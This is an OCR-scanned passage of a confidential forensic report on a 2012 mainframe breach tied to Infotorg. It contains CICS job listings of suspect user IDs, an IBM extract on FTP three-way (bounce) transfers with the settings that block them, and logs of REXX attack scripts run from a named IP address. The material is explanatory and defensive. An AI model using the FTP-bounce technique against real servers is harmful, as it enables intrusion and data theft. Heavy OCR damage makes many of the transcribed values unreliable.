8 4 5 3 4  E 4 8 4 S S 1  
8 4 5 3 5  E 4 8 4 S S 1  
8 4 6 0 7  E 4 8 4 S S 1  
8 4 6 1 1  E 4 8 4 S S 1  
8 4 7 3 5  E 4 8 4 S S 1  
8 4 7 4 0  E 4 8 4 S S 1  
8 4 7 7 7  E 4 8 4 S S 1  
8 4 7 7 8  E 4 8 4 S S 1  
8 4 8 1 6  E 4 8 4 S S 1  
8 4 8 1 9  E 4 8 4 S S 1  
8 4 8 5 9  E 4 8 4 S S 1  
8 4 8 6 7  E 4 8 4 S S 1  
8 4 9 2 7  E 4 8 4 S S 1  
8 4 9 3 1  E 4 8 4 S S 1  
8 4 9 4 6  E 4 8 4 S S 1  
8 4 9 4 7  E 4 8 4 S S 1  
8 4 9 4 8  E 4 8 4 S S 1  
8 4 9 9 9  E 4 8 4 S S 1  
8 4 9 9 9  E 4 8 4 S S 1  
8 5 0 0 2  E 4 8 4 S S 1  
8 5 0 6 9  E 4 8 4 S S 1  
8 5 0 7 2  E 4 8 4 S S 1  

DAF3238 
DAF540 7  
DAF54 0 7 
DAF54 0 7 
DAF5544 
DAF5544 
DAF5544 
DAF5544 
DAF5544 
DAF5544 
DAF5 4 0 7  
DAF5 4 0 7  
DAF5 4 0 7  
DAF 5 4 0 7  
DAF5 5 7 5  
DAF 6 3 6 3  
DAF 6 3 6 3  
DAF5 5 7 5  

DAF5 5 7 5  
DAF5 5 7 5  

DAF 6 3 6 3  
DAF 6 3 6 3  

DAF 6 3 6 3  
DAF5 9 2 6 
DAF 6 1 3 8  

DAF5 9 2 6  
DAF5 9 2 6  

DAF5 9 2 6  
DAF5 9 2 6  

DAF5 9 2 6 
DAF5 9 2 6  
DAF5 9 2 6  

DAF5 9 2 6  
DAF5 9 2 6  

DAF5 9 2 6 
DAF 6 1 3 8  

DAF 6 1 3 8  
DAF 6 1 3 8  
DAF 6 1 4 1  

DAF 6 1 4 1  
DAF 6 1 4 1  

DAF 6 1 4 1  
DAF 6 1 4 2  
DAF 6 1 4 2  

DAF 6 1 4 5  
DAF 6 1 4 5  
DAF 6 1 4 7  
DAF 6 1 4 7  

DAF 6 1 4 8  
DAF 6 1 4 8  
DAF 6 1 8 3  

DAF 6 1 8 3  
DAF 6 2 4 7  

DAF 6 2 4 7  
DAF 6 2 4 8  

DAF 6 2 4 8  
DAF 6 2 4 8  
DAF6 2 4 8  

DAF 62 4 8  
DAF 6 3 6 3  

DAF 6 3 6 3  
DAF 6 3 6 3  

DAF 6 4 0 0  
DAF 6 4 0 0  

0 . 0 1 7 2 6 7 

0 . 0 4 4 6 8 6  

0 . 0 2 9 2 7 3  

0 . 0 1 4 4 6 9  

0 . 0 0 8 0 0 7  

o .  0 0 1 1 5 2  

0 . 0 4 3 9 0 8  

0 . 0 1 3 8 8 5  

0 . 0 1 6 8 0 7  

0 . 0 1 4 7 7 9  

0 . 0 0 6 7 8 3  
0 . 0 0 1 4 7 1  
0 . 0 0 2 6 2 0  
0 . 0 0 1 2 5 1  
0 . 0 0 5 7 9 7 
0 . 0 4 4 6 4 0  
0 . 0 1 3 6 2 8  
0 . 0 4 7 2 4 5  
0 . 0 4 7 2 4 5  
0 . 0 1 7 2 9 2 
0 . 0 1 4 4 7 8  
0 . 0 2 5 9 4 7  
0 . 0 1 4 9 6 7  
0 . 0 0 5 7 0 5  
0 . 0 2 9 3 4 6 
0 . 0 3 4 7 5 5  
0 . 0 1 4 9 6 4  
0 . 0 1 5 3 0 0  
0 . 0 1 9 2 8 1  
0 . 0 1 5 6 5 4  
0 . 0 1 4 9 1 1  
0 . 0 9 4 7 7 3  
0 . 0 1 4 6 8 1  
0 . 0 1 4 7 6 0  
0 . 0 1 5 2 6 9  
0 . 0 1 6 3 7 1  
0 . 0 1 6 0 3 2  
0 . 0 1 6 2 7 8  
0 . 0 1 8 6 0 3  
0 . 0 1 8 6 0 3  
0 . 0 4 7 7 3 4  
0 . 0 2 7 4 5 3  
0 . 0 2 2 3 5 4  
0 . 0 1 6 0 3 1  
0 . 0 2 5 6 4 5  
0 . 0 1 8 7 7 9 
0 . 0 2 0 7 6 3  
0 . 0 1 4 8 1 2 
0 . 0 2 0 1 0 6  
0 . 0 2 3 3 4 9 
0 . 0 2 0 4 1 2  
0 . 0 1 4 4 6 9  
0 . 0 1 8 7 5 2  
0 . 0 1 3 8 6 4  
0 . 0 2 2 0 0 6  
0 . 0 1 5 3 5 1  
0 . 0 2 8 0 7 8  
0 . 0 2 0 7 2 5  
0 . 0 1 5 8 2 9  
0 . 0 2 2 6 8 6  
0 . 0 2 2 6 8 6  
0 . 0 2 2 4 7 6  
0 . 0 1 8 6 6 0  
0 . 0 1 5 9 7 5  
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SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 4 : 4 5 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 4 : 4 6 I T S 1  
SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 5 : 0 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 6 : 5 5 : 0 6 I T S 1  
SEMC I CA 3  0 4 / 1 1 / 1 2  0 6 : 5 8 : 4 0 I T S 9 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 4 : 4 6 I T S 7  
SEMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 7 : 1 3 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 7 : 2 4 I T S 1  
SEMC I CA3 0 4 / 1 1 / 1 2  0 7 : 0 7 : 3 4 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 0 7 : 5 2 I T S 1  

S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 8 : 0 7 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 0 8 : 1 6 I T S 1  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 0 8 : 2 8 I T S 7  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 0 9 : 2 8 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 9 : 3 8 I T S 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 0 9 : 3 9 I T S 1  
SEMC I C H 1  0 4 / 1 1 / 1 2  0 7 : 3 3 : 3 5 I T SA 
SEMC I C H 1  0 4 / 1 1 / 1 2  0 7 : 3 3 : 3 5 I T S A  
SEMC I CH 1  0 4 / 1 1 / 1 2  0 7 : 3 3 : 5 7 I T SA 
S EMC I C H 1  0 4 / 1 1 / 1 2  0 7 : 3 4 : 0 1 I T S A  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 4 : 1 2 P I O O  
SEMC I CE 1  0 4 / 1 1 / 1 2  0 7 : 3 4 : 1 2 F 1 2 1  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 4 : 1 3 P I O O  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 4 : 1 5 PA1 0 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 4 : 2 7 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2 0 7 : 3 4 : 3 2 PA1 0 
SEMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 4 : 4 8 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 5 : 1 5 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 5 : 2 1 PA1 0 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 5 : 4 0 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 5 : 4 9 PA1 0 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 5 : 5 7 PA 1 0  
S EMC I CA3 0 4 / 1 1 / 1 2 0 7 : 3 6 : 1 6 PA1 0 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 6 : 2 3 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 6 : 3 3 PA1 0 
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 6 : 4 4 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 6 : 4 6 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 6 : 4 8 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 6 : 4 8 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 7 : 0 5 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 7 : 1 9 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 7 : 2 7 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 8 : 0 3 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 8 : 1 1 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 8 : 2 5 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 8 : 3 4 PA 1 0  
S EMC I CA 3  0 4 / 1 1 / 1 2  0 7 : 3 8 : 4 0 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 9 : 0 8 PA1 0 
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 9 : 2 1 I T S 9  
S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 3 9 : 3 7 I T S 9 
SEMC I CH 1  0 4 / 1 1 / 1 2  0 7 : 4 0 : 4 9 I T SA 

8 5 2 1 5  E 4 8 4 S S 1  
8 5 2 1 6  E 4 8 4 S S 1  
8 5 2 4 4  E 4 8 4 S S 1  
8 5 2 4 6  E 4 8 4 S S 1  
8 5 7 4 2  E 4 8 4 S S 1  
8 7 0 1 7  E 4 8 4 S S 1  
8 7 5 1 5  E 4 8 4 S S 1  
8 7 5 4 2  E 4 8 4 S S 1  
8 7 5 8 2  E 4 8 4 S S 1  
8 7 6 2 1  E 4 8 4 S S 1  

8 7 6 5 4  E 4 8 4 S S 1  
8 7 6 7 5  E 4 8 4 S S 1  
8 7 7 1 4  E 4 8 4 S S 1  • 

8 7 9 7 4  E 4 8 4 S S 1  
8 8 0 0 7  E 4 8 4 S S 1  
8 8 0 1 5  E 4 8 4 S S 1  

1 1 4 6  E 4 8 4 S S 1  
1 1 4 6  E 4 8 4 S S 1  
1 1 4 7  E 4 8 4 S S 1  
1 1 4 8  E 4 8 4 S S 1  

DAF 6 5 3 7  0 . 0 3 8 7 6 1  
DAF 6 5 3 7  0 . 0 1 6 1 7 5  
DAF 9 0 2 6  0 . 0 3 8 6 4 8  
DAF 9 0 2 6 0 . 0 2 3 6 3 2  
DAF P O S T  0 . 1 2 6 7 7 6  
DAF P O S T  0 . 1 6 3 8 8 1  
DAFP O S T  0 . 0 0 9 5 6 0  
DAF P O S T  0 . 0 0 6 5 9 9  
DAF 9 0 2 6 0 . 0 1 5 6 7 7  
DAF 9 0 2 6 0 . 0 0 5 9 1 5  

DAFPO S T  0 . 0 3 6 1 1 5  
DAF P O S T  0 . 0 1 2 0 8 3  
DAFP O S T  0 . 0 2 3 8 0 6  
DAF 9 0 2 6 0 . 0 0 1 7 6 7 
DAF 5 9 2 6  0 . 0 1 4 7 7 4  
DAF5 9 2 6  0 . 0 1 5 0 2 6  
DAF 1 0 7 3  0 . 5 9 2 7 5 6  
DAF 1 0 7 3  0 . 5 9 2 7 5 6  
DAF 1 0 7 3  0 . 5 8 4 3 0 5  
DAF 1 0 7 3  0 . 9 9 3 0 3 8  

9 4 9 9 8  E 4 8 4 P I 0 0  R 0 0 1  DAF 1 7 3 4  0 . 0 0 1 1 0 0  
0 . 2 7 3 2 0 7  
0 . 0 0 0 4 4 4  
0 . 0 0 1 5 4 8  
0 . 2 3 0 4 7 2  
0 . 1 1 9 4 5 5  
0 . 0 0 1 5 4 0  
0 . 0 5 2 9 6 3  
0 . 0 9 9 4 5 3  
0 . 1 7 6 9 7 1  
0 . 1 0 8 2 5 8  
0 . 0 6 5 4 7 4  
0 . 2 8 1 4 7 1  
0 . 1 2 0 9 7 3  
0 . 0 9 6 8 0 5  
0 . 2 7 1 6 3 2  
0 . 0 0 1 3 1 5  
0 . 0 0 1 4 5 9  
0 . 0 0 1 4 5 9  
0 . 0 0 1 8 4 7  
0 . 2 7 6 3 5 7  
0 . 0 0 1 6 9 0  
0 . 0 0 1 5 5 9  
0 . 0 0 1 8 9 6  
0 . 2 1 9 0 4 6  
0 . 0 0 1 3 4 0  
0 . 0 3 9 7 4 7  
0 . 0 0 0 4 0 9  
0 . 0 3 3 8 3 6  
0 . 0 2 7 4 8 3  

2 6 7  F 1 2 1 WRAP R 0 0 1  DAF1 7 3 4  
9 5 0 0 8  E 4 8 4 P I O O  R 0 0 1  DAF 1 7 3 4  
9 5 0 4 0  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 1 1 9  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 1 4 3  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 2 2 6 E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 3 9 3  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 4 3 8  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 5 5 8  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 6 0 1  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 6 7 0  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 7 8 3  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 8 3 2  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 9 1 6  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 5 9 8 5  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 0 1 1  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 0 2 0  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 0 2 0  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 1 0 5  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 2 0 7  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 2 6 5  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 4 5 8  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 4 9 8  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 5 9 1  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 6 4 3  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 6 8 2  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 8 5 0  E 8 9 7 S 1 0 0  R 0 0 1  DAF 1 7 3 4  
9 6 9 4 2  E 4 8 4 S S 1  
9 7 0 5 7  E 4 8 4 S S 1  

1 1 5 4  E 4 8 4 S S 1  

DAF 1 3 4 8  
DAF 1 3 4 8  
DAF 1 0 7 3  0 . 0 7 3 1 0 6  
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Figure 97 CICS job l isting showing patterns of " DAFxxxx" user names 

The fo l lowi ng l i st i ng  i s  a s im i l a r  C ICS job l i st, created by jobs sta rted by the l nfotorg web 

service. The pattern i s  s im i l a r, but for users in the BSNxxxx ser ies, campa red to the DAFxxxx 

ser ies a bove . 

Jobname Date Time Tran 

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 7 : 1 8 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 7 : 2 0 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 7 : 3 2 I T S 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 7 : 3 3 I T S 1  

TaskÄ Program Term Userid L i fe time 

8 9 9 0 4  E 4 8 4 S S 1  

8 9 9 1 1  E 4 8 4 S S 1  

8 9 9 6 7  E 4 8 4 S S 1  

8 9 9 7 6  E 4 8 4 S S 1  

BSN0004 o .  0 6 5 9 3 2  

BSN0004 0 . 0 1 5 7 8 1  

BSN0010 o .  0 2 5 6 4 4  

BSN0010 o .  0 1 3 8 5 4  

Strictly confidenti a l  l Bus i ness Secret l 
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S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 8 : 1 5 I T S 1  9 0 1 5 8  E 4 8 4 S S 1  BSN0015 o .  0 2 0 7 2 2  

SEMC I CA3 0 4 / 1 1 / 1 2 0 7 : 1 8 : 1 7 I T S 1  9 0 1 6 6  E 4 8 4 S S 1  BSN0015 0 . 0 1 6 3 8 3  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 9 : 0 1 I T S 1  9 0 3 0 8  E 4 8 4 S S 1  BSN001 6 0 . 0 2 0 4 0 3  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 9 : 0 3 I T S 1  9 0 3 2 4  E 4 8 4 S S 1  BSN001 6 0 . 0 2 7 1 3 2 

SEMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 9 : 3 5 I T S 1  9 0 4 7 8  E 4 8 4 S S 1  BSN001 7 0 . 0 2 1 3 0 1  

SEMC I CA3 0 4 / 1 1 / 1 2  0 7 : 1 9 : 3 7 I T S 1  9 0 4 8 2  E 4 8 4 S S 1  BSN001 7 0 . 0 1 9 3 3 9  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 0 : 1 7 I T S 1  9 0 6 0 6  E 4 8 4 S S 1  BSN001 7 0 . 0 6 1 9 9 8  

SEMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 0 : 2 4 I T S 1  9 0 6 2 9  E 4 8 4 S S 1  BSN001 7 0 . 0 2 3 6 1 5  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 0 : 2 4 I T S 1  9 0 6 3 0  E 4 8 4 S S 1  BSN001 7 0 . 2 5 1 4 2 1  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 1 : 0 8 I T S 1  9 0 8 4 2  E 4 8 4 S S 1  BSN0022 0 . 0 6 5 7 0 8  

S EMC I CA3 0 4 / 1 1 / 1 2 0 7 : 2 1 : 1 0 I T S 1  9 0 8 5 6  E 4 8 4 S S 1  BSN0022 0 . 0 1 6 6 2 9 

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 2 : 1 2 I T S 1  9 1 1 5 4  E 4 8 4 S S 1  BSN0034 0 . 0 1 9 5 4 2  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 2 : 1 3 I T S 1  9 1 1 6 9  E 4 8 4 S S 1  BSN0034 0 . 0 1 9 3 6 2  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 3 : 2 1 I T S 1  9 1 4 3 5  E 4 8 4 S S 1  BSN003 6 0 . 0 2 0 8 7 8  

S EMC I CA3 0 4 / 1 1 / 1 2  0 7 : 2 3 : 2 3 I T S 1  9 1 4 4 5  E 4 8 4 S S 1  �N003 6 0 . 0 4 2 3 1 8  

Figure 9 8  CICS job listing showing patterns of " BSNxxxx" user names 

The web server logs from ITWEBSRVOl a nd  ITWEBSRV02 ( aka wwwS . i nfotorg.se)  conta i n  

i nte resti ng i nformation  as  we i l .  l n cl u d i ng sto len  a nd  misused user  name, stra nge sea rch 

patte rns, etc. These l ogs a re way too l a rge to i nc l ude in this re port .  

For som e i nformation  on  u ser n a mes sto len  and u sed aga i n st the i nfotorg we b,  see "Append ix  

H :  User  accou nts i nvalved i n  the attacks" page 196. 
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Content of this attachment has been removed from this version of the report d u  e to confid ential ity req u i rements. 



Appendix B :  Description o f  three way FTP services 

The fo l lowi ng i s  an extract from I B M  docu mentation .  l t  i s  i nc luded as a descri ption  on 

• What th ree way FTP services a re 

• What ca n be done to p roteet aga i nst the usage of th ree way FTP serv ice 

P revent ing exp lo itation  of you r  FTP server 

Sidan 1 68 av 57 4 

You r  FTP serve r ca n be used by a c l i ent for d i s rupt ive p u rposes. A c l ient  ca n use you r  serve r to 

send ra n dom data to othe r  servers, or  a c l i ent  ca n req uest that you r  serve r be the pass ive 

serve r in a th ree-way tra nsfer .  

Any FTP c l i ent  that i s  in PROXY mode with you r  FTP server ca n estab l is h  a data connection  to 

a ny serve r that i s  l i sten i ng to a port .  

Th i s  s i tuat ion cou l d  be very d i s ruptive to that serve r, beca use the c l ient cou l d  then send a very 

l a rge a mount  of unexpected data to it .  Any ma l i c ious  FTP c l i ent ca n attack or  d i s ru pt the serve r 

i n  a norm a l  server-to-c l i ent con nect ion by ma k ing  the FTP server send a l a rge a mount of data 

to a nother  app l icat ion server that i s  l i ste n i ng to a specif ic port. Beca use the c l i ent itse lf  i s  n ot 

send i ng the d i s ruptive data, it i s  d iffi cu l t  to ident ify the c l i e nt that i s  eaus i ng  the prob l em .  U se 

the PORTCOM MAND, PORTCO M MANDPORTa nd  PORTCOM MAN DI PADDR statements i n  

FTP . DATA t o  prevent you r  serve r from be i ng  used i n  th i s  way. 
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Tsble 33. PORTCOMMAND scenanos 

When you want· your 
. scn•er lO-

Reject all PORT or EPRT 
c om rtlilnds 

Reject all PORT or EI)RT 
command.; that sp«ify 
well-known ports (port 
numb(>r:; l� than 1024) 

Rt.'ject all PORT or EI'RT 
CO!l'lm.lllds iha l �>pcciJy .1n 
lP addre.s other than w 
cUcnf own lP address. 

l Code the followi ng statements in the l servers FTP.DATA 
PORTCOMMAND REJECT 

Commenb 

If you di.o;able the PORT r EPRT 
comman;;ls, t hen ·ou pn:!\·cnt our sen·er 
from being uscd to scnd candom data to 
ollwr �rvers. Howcver, your scn•er loses 
somt> ability to transfer data in PROXY 
mode. U a di�nt srods a PORT or EPRT 
command to your sen•er to set up a proxy 
tr.lffifer, your .serve r will R.'j«t the 
command and the proxy transfer wiU lail. 
If your dient j, not firel\·aJJ fricndly, and it 
does not implement the default port 
nwnber- and lP addre!!o.S for data trans( r, 
that dient cann t t:rölnsfer filt'!> to and from 
your sen·er. 

PORTCOMMANDPORT OLOWPORTS When you sprofy tlili rombination, your 
sen•er cannot be u_o;ed to send random 
data to wrn•rs listenlog on well-known 
ports Howe\·er, a mgue climt c<m u.<e ! your server to send random data to 
servt>r:; li ·�ening on other ports. Tht> scrver 
.;till uppo11$ data tral"l"i<'r in PROXY 
mode. 

PORTCOMMANDU>ADDR NOREDIRECT When you spoclfy thls rombination, a 
elirot can n.-qucst data transf.-r in PROX'Y 
mode only ix'twc>en our �rver and a 
sen't'r on ils own LP addres.-.. Transfers 
betwecn dient and sen·er are not affectcd. 

Re�t aU PORT or EPRT PORTCOl\•fMA DI'ORT LOWPORTS When you pt>eify thi..� comt>ination, a 
client (";lO requcst data transfer in PROXY 
mode only bct\\1\."'ef\ your server and a 
sen•er ihat is on its own LP addtt'SS: the 
port numlx-rs cannot be weil known. 1öe 
elirot c.1noot use PRO Y mode to send 
random data to a server that is on ils own 
lP .lddn.>ss and listening to a well-known 
port. 

comma.nds !hat specify an f'ORTCOMMANOIPADOR ORfOtRECT 
fP addr " oltler than the 
clienr own lP addre;s or 
port numbl>rs that are w I l  
known. 

You r  FTP server ca n a l so  be used as a pass ive server i n  a th ree-way tra nsfer. When a c l i ent  

sends a PASV or  EPSV com mand  to the  serve r, the server opens a l i ste n i ng data  socket. Th i s  

socket i s  s im i l a r  to the l i ste n i ng socket a ssociated with  the 

we l l -known port, i n  the sense that a ny app l i cat ion  that knows its l P  add ress a nd  port n u m ber  

ca n con nect to i t  ( not j ust the c l ient tha t  sent  the PASV or EPSV com mand ) .  The  c l i en t  ca n 

exp lo i t  th i s  s i tuat ion to i n it i ate a th ree-way data tra nsfer, wh ich  i s  a data tra nsfer between  two 

servers . The c l i ent sends PASV to on e serve r fo l l owed by PORT to the other .  The c l i ent  sets the 

PORT command  lP  add ress and port n u m be r  to the i nformat ion it gets from the PASV rep ly, 

and  the seeond server con nects to the l P  add ress a nd  port n u m ber  specified in the PORT 

com m a nd, connecti ng the two servers. The next data tra nsfer  com m a n d  ea uses data to move 

d i rect ly between the two servers. The c l i ent  ca n a l so u se the EPSV a nd  EPRT com ma nds to set 

up the th ree-way data tra nsfe r. 

Th ree-way tra nsfers a re supported fu nct ions  in the FTP protoco l ,  but you m ight not wa nt to 

a l low you r  serve r to pa rt ic i pate in th ree-way tra nsfers. To prevent you r  server from be i ng the 

Strict ly confidenti a l  l Bus i ness Secret l 
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pass ive server (the server that rece ives the PASV or EPSV com mand )  i n  a th ree-way data 

tra nsfer, code PASS IVEDATACON N NORED I RECT in the server's FTP. DATA fi l e .  Th i s  d i rects the 

server to verify that the data con nection  comes from the lP address where the  or ig i n a l  FTP 

c l i ent  res i des (the c l i ent  that sent the PASV or EPSV com mand ) .  I f  that is not where the data 

con nection  or ig i nates, the server c iases the data socket and the next data tra nsfer command  

fa i l s .  

Str ict ly confi dent ia l l Bus i ness Secret l 
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Appendix C :  Usage of three way ftp 

Th i s  append ix  i s  a n  a utomated comp i lat ion of the user na mes and  the l P  add resses i nvalved i n  

th reewat FTP tra nsfers between SV19, SVS3 a n d  the perpetrators. As ca n b e  seen by the l i st of 

add resses, the l P ad d ress 9 3 . 1 8  6 .  l 7 O . 5 4  i s  the rea l ta rget where the data i s  fi na  ly store d .  

This listing was generated by a script that cross references a number of different  data sources 

to stich tagether the view of the 3-way handshake. /t might contain additional users, ip 

oddresses that have a usage pattern similar to those of the perpetrators, e.g. users that are 

allowed to perform ftp operations. Th i s  l i st shou l d  be used as a sta rt i ng  po int  to fu rthe r 

i nvestigate on a more deta i led l eve! 

The date spa n for these act iv it ies i nc l ude  Februa ry a nd  Ma rch 2012. 

Comp lementa ry to th is a ppend ix  i s  the a ppend ix that descr ibe the tech n ica l background  to 3-

way FTP connections  

Content o f  t h i s  attachment h a s  b e e n  removed from t h i s  version o f  the report d u  e to 

confidentia l ity req u i rements. 
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App endix D :  Logs o n  execution o f  REXX programs on SY1 9  

A more comp l ete l i sti ng o f  executio n  o f  REXX progra m s  on  SY19 .  Th is  l og i s  re l ated t h e  execut ion o f  "go . rx" o r  "ku rwa" or  s i m i l a r  attack scr i pts . 

U NXCMD .SY19 . FROM0215 .txt : 27Feb12 14 :57  WMSTOTT WMSTOTT8 TPXWM010 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 2Ma r12 1 3 : 19 WMSTOTT WMSTOTT9 TPXWM013 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 2Ma r12 13 : 21  WMSTOTT WMSTOTT6 TPXWM013 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 10:02 WMSTOTT WMSTOTT2 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 5Ma r12 10:03 WMSTOTT WMSTOTT3 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt: 5Ma r12 10:03 WMSTOTT WMSTOTT4 TPXWM010 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 14 : 14 BSN0058 TCP FTP7 178. 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 14 :37 BSN0058 TCPFTP1 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 14 :53 BSN0058 TCP FTP2 178. 18 .243 .27 B PXWREXC 

U NXCMD .SY19. FROM0229 .txt : 5Ma r12 15 : 10 BSN0058 TCPFTP7 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19. FROM0229 .txt: 5Ma r12 15 : 1 1  BSN0058 TCPFTP8 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5 M a r12 15 : 1 1  BSN0058 TCPFTP9 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :40 BSN0058 TCPFTP4 178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 5Ma r12 15 :44 BSN0058 TCP FTP2 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :44 BSN0058 TCPFTP3 178 . 18 .243 .27 BPXWREXC 
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U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :44 BSN0058 TCPFTP4 178. 18. 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :45 BSN0058 TCPFTP8 178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 15 :46 BSN0058 TCPFTP1 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0229.txt : 5Ma r12 15 :46 BSN0058 TCPFTP2 178. 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12 15 :46 BSN0058 TCPFTP3 178. 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :46 BSN0058 TCPFTP4 178. 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0229 .txt : 5Ma r12 15 :46 BSN0058 TCPFTP5 178. 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0229 .txt : 5Ma r12  15 :46 BSN0058 TCPFTP6 178. 18 .243 .27  BPXWREXC 

